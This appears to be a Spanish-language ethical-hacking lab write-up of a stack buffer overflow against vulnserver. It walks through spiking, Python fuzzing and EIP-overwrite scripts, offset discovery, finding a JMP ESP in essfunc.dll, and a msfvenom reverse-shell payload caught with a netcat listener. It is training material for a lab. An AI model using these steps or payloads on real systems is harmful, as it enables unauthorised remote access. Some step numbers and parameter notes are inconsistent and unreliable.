Perform Buffer Overflow Attack to Gain Access to a Remote System

Descripción

Objetivo de la tarea:

• La tarea tiene como objetivo demostrar el procedimiento de explotación aplicado a un servidor vulnerable que se ejecuta en el sistema de la víctima.
  
  

Descripción del servidor vulnerable:

• El servidor vulnerable está vinculado a Immunity Debugger, que es una herramienta utilizada para el análisis de software malicioso y la explotación de vulnerabilidades.
  
  

Método de explotación:

• Como atacante, se procederá a explotar este servidor vulnerable utilizando un script malicioso para obtener acceso remoto al sistema de la víctima.
  
  

Esta es una emulación de la práctica original de Ec-Council.

1. Para iniciar con esta práctica es necesario clonar el siguiente repositorio desde GitHub al sistema víctima.
   
2. Ejecutamos el programa vulnserver.exe
3. Ahora corremos como administrador Immunity Debugger.
4. Hacemos clic en “File”, “Attach”. Luego seleccionamos vulnserver y clic en “Attach”.
5. Desde la barra de herramientas de Immunity Debbuger hacemos clic en el icono de ejecutar. Como se puede ver el estado es Running.

   
   

6. Manteniendo la máquina Windows en su estado actual vamos a la máquina Kali Linux en la cual usaremos el comando: netcat para poder establecer una conexión con el servidor objetivo vulnerable e identificar los servicios o funciones que proporciona el servidor.
7. Estando en la terminal de Kali escribimos el siguiente comando:

    nc -nv 192.168.100.4 9999
   

   La dirección IP es la que posee la máquina destino (Windows 10). La podemos obtener con el comando ipconfig.

8. Aparecerá el mensaje: Welcome to Vulnerable Server! Enter HELP for help.

9. Colocamos el comando: EXIT para salir del programa. 10.Ahora, generaremos plantillas de spike y realizaremos el spiking.

   Las plantillas de spike definen los formatos de paquetes utilizados para comunicarse con el servidor vulnerable. Son útiles para probar e identificar funciones vulnerables a la explotación de desbordamiento de búfer.

11. Para crear una plantilla de Spike usamos el comando:

pluma stats.spk

12. En caso de que pluma necesite ser instalado el comando sería: sudo apt-get install pluma.

13. Estando en la terminal escribimos el siguiente comando:
    

generic_send_tcp 192.168.100.4 9999 stats.spk 0 0

La dirección IP es la que posee la máquina destino (Windows 10). La podemos obtener con el comando ipconfig, 9999 es el puerto de destino, stats.spk es el spike_script, y 0 y 0 son los valores de SKIPVAR y SKIPSTR.

14. Como se puede observar el resultado fue satisfactorio:
15. Si vamos al Windows 10, en el Immunity Debbuger, se puede ver que el estado del proceso sigue en ejecución por lo que la función STATS no es vulnerable al desbordamiento de búfer. Ahora tocaría repetir el mismo proceso con la función TRUN.
16. Vamos de nuevo al archivo stats.spk y cambiamos la función STATS por TRUN, quedaría así:

    s_readline();
    s_string("TRUN ");
    s_string_variable("0");
    

17. Ahora ejecutamos el comando para enviar los paquetes al servidor vulnerable:

    generic_send_tcp 192.168.100.4 9999 trun.spk 0 0
    

18. Si vamos a la máquina Windows nos daremos cuenta de que el estado del proceso ha cambiado a “Pausado”, lo indica que la función TRUN del servidor es vulnerable al desbordamiento de búfer.

19. El desbordamiento de la función TRUN ha sobrescrito registros de pila como EAX, ESP, EBP, y EIP. La sobrescritura del registro EIP puede permitirnos obtener acceso shell al sistema operativo.

20. Como se puede observar en la ventana superior derecha que los registros EAX, ESP, EBP y EIP se sobrescriben con el valor ASCII “A”, como se muestra en la captura de pantalla. captura de pantalla.

Se obvia a propósito la parte que tiene que ver con el acceso al recurso compartido para obtener los scripts y las demás herramientas. Al final de la práctica se adjunta en enlace de Google Drive a todos los scripts.

21. Ahora, tocaría ejecutar un script de Python para hacer fuzzing. En mi caso la carpeta se encuentra en: home/joel/Descargas/.

22. Le damos permiso y ejecutamos el script con el comando:
    

chmod +x fuzz.py

python2 fuzz.py

23. Usando nano cambiamos la dirección por default por la que tiene la máquina víctima. Quedaría así:
    

#!/usr/bin/python
import sys, socket
from time import sleep

buff = "A" * 100

while True:
    try:
            soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            soc.connect(('192.168.100.4', 9999))
        
            soc.send(('TRUN /.:/' + buff))
            soc.close()
            sleep(1)
            buff = buff + "A" * 100
    except:
            print "Fuzzing crashed vulnerable server at %s bytes" % str(len(buff))
            sys.exit()
        

Nota: Al ejecutar el script Python, buff multiplica por cada iteración de un bucle while y envía los datos buff al servidor vulnerable.

24. Si vamos a Immunity Debugger podemos notar que dos cosas:
    • El estado cambia de ejecución a pausa.
    • El registro EIP no es sobrescrito por el script de python.
25. Si vamos al entorno de la máquina atacante podemos notar que el servidor colapsó luego de recibir 22100 bytes pero no sobrescribió el registro EIP.

La cantidad de bytes con la que colapsa el servidor puede diferir con entre los distintos entornos.

26. Ahora tenemos que buscar el archivo pattern_create.rb la cual es una herramienta incluida en el framework de Metasploit la cual sirve para crear patrones únicos útiles en el proceso de desarrollo de exploits y shellcodes.

27. Para poder encontrarlo tendríamos que usar el comando:

    locate pattern_create.rb
    

    

28. Invocamos pattern_create.rb

    /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 3400
    

Nota: -I: longitud, 22200: tamaño de byte (aquí, tomamos el valor par más cercano del tamaño del byte obtenido en el paso anterior)

29. Con el comando anterior se generará un fragmento aleatorio de bytes.

30. Ahora regresamos al directorio donde tenemos los Scripts y abrimos findoff.py

    pluma findoff.py
    

31. Copiamos el resultado del comando que se usó para invocar a patter_create.rb y lo colocamos entre comillas dentro de la variable: offset.

32. Cambiamos la dirección IP de la máquina víctima, el puerto en mi caso lo dejo por el que trae por defecto:

    soc.connect(('192.168.100.4', 9999))

33. Ahora tocaría cambiar los permisos del script y ejecutarlo, estos lo hacemos con los comandos:

chmod +x findoff.py

python2 findoff.py

Nota: Cuando se ejecuta el script anterior, envía bytes aleatorios de datos al servidor vulnerable objetivo, lo que provoca un desbordamiento de búfer en la pila.
Hay que tener habilitado el vulnserver.

34. Si vamos a la ventana del Immunity Debugger, se puede observar que el registro EIP se sobrescribe con bytes aleatorios.

35. Anotamos los bytes aleatorios en el EIP y encontramos el desplazamiento de esos bytes.

36. Estando en el directorio exploit de metasploit ejecutamos el siguiente comando:

/opt/metasploit-framework/embedded/framework/tools/exploit/

/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -l 3400 -q 386F4337

Nota: -I: longitud, 3400: tamaño de byte (aquí, tomamos el valor par más cercano del tamaño de byte obtenido en el paso 1). del tamaño de byte obtenido en el Paso#58), -q: valor offset (aquí, 386F4337 identificado en el paso anterior).

37. El resultado que aparece en pantalla indica que el registro EIP identificado está en un offset de 2003 bytes.

38. Como parte importante tendríamos que ir al Windows y cerrar y abrir como administrador el vulnserver y abrir también el Immunity Debugger.

39. Luego tocaría ejecutar el script overwrite de python para sobrescribir el registro EIP.

40. Antes de ejecutarlo tendríamos que hacer dos cosas. La primera sería darle permiso de ejecución al script overwrite.py y cambiar la dirección IP por defecto por la que tiene el Windows. Finalmente ejecutamos el script.

            
        #!/usr/bin/python
        import sys, socket
            
        shellcode = "C" * 2003 + "D" * 4
            
        try: 
            soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            soc.connect(('192.168.100.4', 9999))
            soc.send(('TRUN /.:/' + shellcode))
            soc.close()
        except:
            print "Error: Unable to establish connection with Server"
            sys.exit()
            
    

    Nota: Este script Python se utiliza para comprobar si podemos controlar el registro EIP

    python2 overwrite.py
    

    

41. Si vamos a la máquina Windows nos daremos cuenta de que el registro EIP está sobrescrito.

    Nota: “El resultado indica que el registro EIP puede ser controlado y sobrescrito con shellcodc malicioso.

42. Reiniciamos vulserver y Immunity Debugger. Antes de inyectar el shellcode en el registro EIP, primero hay que identificar los badchars que pueden causar problemas en el shellcode.

    Nota: Los **badchars se pueden obtener mediante una búsqueda en Google. Carácteres como ningún byte, es decir, “xoo”, son badchars.

43. Ahora antes de ejecutar el script badchars.py le damos permiso y cambiamos la dirección IP a la que tiene el Windows. Finalmente ejecutamos el script.

chmod +x badchars.py

soc.connect(('192.168.100.4', 9999))

python2 badchars.py

44. Ahora vamos al Windows y hacemos cli en ESP en la parte superior derecha, luego hacemos clic derecho y clic en “Follow in Dump”.

1. En la ventana de la izquierda, se puede observar que no hay badchars que causan problemas en el shellcode.

2. Cerramos y abrimos nueva vez el Immunity Debugger y el servidor vulnerable.

3. Ahora tendríamos que identificar el módulo correcto del servidor vulnerable que carece de protección de memoria. En Immunity Debugger se podría usar scripts como mona.py para identificar los módulos que carecen de protección de memoria.

4. Ahora tendríamos que tener el script mona.py, copiarlo y pegarlo en la siguiente ubicación

C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

49. Ahora si vamos a la parte inferior de Immunity Debugger escribimos el siguiente comando:

!mona modules

50. Ahora aparece una ventana emergente con datos de registro que muestra la configuración de protección varios módulos. Se puede observar que no hay protección de memoria para el módulo **essfunc.dll.

51. Ahora, explotaremos el módulo essfunc.dll para inyectar shellcode y tomar control total del registro EIP.

52. Nos dirigimos a la ruta en la que se encuentra metasploit, donde se encuentra nasm_shell.rb colocamos el siguiente comando:

/opt/metasploit-framework/embedded/framework/tools/exploit/

Ruta de metasploit:

/opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell.rb

Comando:

Nota: Este script se utiliza para convertir el lenguaje ensamblador en código hexadecimal.

53. Aparecerá la línea de comandos nasm; escribe JMP ESP y luego “enter”.

54. Aparece el resultado, mostrando el código hexadecimal de JMP ESP (aquí, FFE4). Salimos con el comando EXIT.

FFE4

Nota: Copiamos este valor de código hexadecimal.

55. Vamos de nuevo al Immunity Debugger y escribimos el siguiente comando:

!mona find -s "\xff\xe4" -m essfunc.dll

56. Ahora se muestra la dirección de retorno del módulo vulnerable

Nota: Aquí, la dirección de retorno del módulo vulnerable es 0x625011af, que puede ser diferente en su entorno de laboratorio.

57. Cerramos el Immunity Debugger y el proceso del servidor vulnerable y los iniciamos nueva vez como administrador.

58. En el Immunity Debbuger hacemos clic en “Go to address in”.

59. Introducimos el retorno del módulo vulnerable:

625011af

60. Ahora tendríamos que ejecutar el script jump.py pero antes tendríamos dar permisos de ejecución y cambiar la dirección predeterminada por la dirección IP de la máquina víctima en este caso la máquina Windows 10. Finalmente ejecutamos el script.

chmod +x jump.py

soc.connect(('192.168.100.4', 9999))

python2 jump.py

61. Se le indicará F2 para establecer un punto de interrupción en 62501 laf ESP.

62. Si regresamos a la máquina víctima Windows observamos que el registro EIP ha sido sobrescrito con la dirección de retorno del módulo vulnerable.

Nota: Puede controlar el registro EIP si el servidor de destino tiene módulos sin la configuración adecuada de protección de memoria.

63. Cerramos el Immunity Debugger y el servidor vulnerable y lo abrimos nueva vez como administrador.

64. Estando en el Kali escribiremos el siguiente comando para generar un shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=<Dirección IP local>LPORT=<Puerto de escucha>EXITFUNC=thread -f c -a x86 -b "\x00"

Aquí, -p: carga útil, dirección IP local: 192.168.100.157, puerto de escucha: 4444., -f: filetype, -a: architecture, -b: bad character.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.157 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

Algunos comandos tienen presentados en el manual oficial presentan algunas disparidad, por lo comandos usados en la práctica fueron revisados y actualizados.

66. Ahora veremos como se generó el shellcode, luego de esto lo copiamos para codificarlo.

El punto y coma no se copia.

67. Ahora tocaría ejecutar el script shellcode.py. Sin embargo, antes deberías de hacer algunos pasos más. Primero tendríamos que editarlo y agregarle el shellcode que copiamos en la variable overflow, cambiamos la dirección IP por la del Windows y guardamos con ctrl + s. Finalmente tendríamos que darle permiso de ejecución.

68. Antes de ejecutar el script tendríamos que ponernos en escucha usando netcat en el puerto 4444:

nc -nvlp 4444

69. Le damos permiso de ejecución con el siguiente comando:

chmod +x shellcode.py

70. Para ejecutar el script hay que ingresar el siguiente comando:

python2 shellcode.py

71. Si volvemos a la ventana de netcat podremos observar que se ha establecido el acceso shell al servidor vulnerable de destino vulnerable

72. Ahora escribimos imprimimos por pantalla el nombre del usuario actual con el comando whoami:

    Hasta acá queda la práctica de eccouncil debido a que se obtuvo acceso al sistema destino.

Bandera en Windows 10

Como muestra de la veracidad de la práctica. Coloqué una bandera dentro del Escritorio a continuación, se muestran los detalles:

1. Dentro del Escritorio hay un directorio con el nombre de la asignatura.

2. Usando el comando dir podemos entrar al directorio de la práctica:

    dir hacking_etico2_practica_final
   

3. Ya podríamos ver la bandera con el nombre de flag.txt.

4. Podemos ver el contenido el archivo texto usando el comando:

   Importante: Todos los recursos de esta práctica pueden ser descargados del siguiente enlace